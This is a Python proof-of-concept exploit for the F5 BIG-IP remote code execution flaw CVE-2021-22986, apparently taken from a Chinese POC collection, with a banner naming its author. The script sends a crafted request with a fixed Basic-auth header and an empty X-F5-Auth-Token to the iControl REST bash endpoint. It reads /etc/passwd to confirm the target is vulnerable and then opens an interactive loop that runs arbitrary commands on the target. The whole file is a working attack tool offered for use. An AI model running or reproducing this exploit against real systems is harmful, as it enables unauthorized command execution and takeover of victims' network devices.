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    F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986.py
    2.73 KB / 2021-07-04 06:01:08
        import requests
    import sys
    import random
    import re
    import base64
    import time
    import json
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
        print('+  \033[34mVersion: F5 BIG-IP                                                \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/mgmt/tm/util/bash"
        headers = {
            "Authorization": "Basic YWRtaW46QVNhc1M=",
            "X-F5-Auth-Token": "",
            "Content-Type": "application/json"
        }
        data = '''{"command":"run","utilCmdArgs":"-c 'cat /etc/passwd'"}'''
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
            if 'root' in response.text and response.status_code == 200:
                print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
                while True:
                    Cmd = str(input("\033[35mCmd >>> \033[0m"))
                    POC_2(target_url, Cmd)
            else:
                print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
        except Exception as e:
            print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)
    
    def POC_2(target_url, Cmd):
        vuln_url = target_url + "/mgmt/tm/util/bash"
        headers = {
            "Authorization": "Basic YWRtaW46QVNhc1M=",
            "X-F5-Auth-Token": "",
            "Content-Type": "application/json"
        }
        Cmd = "'" + Cmd + "'"
        data = '{"command":"run","utilCmdArgs":"-c %s"}' % Cmd
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
            print("\033[32m{} \033[0m".format(json.loads(response.text)["commandResult"]))
        except Exception as e:
            print("\033[31m[x] 命令执行失败 \033[0m".format(target_url), e)
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)
    
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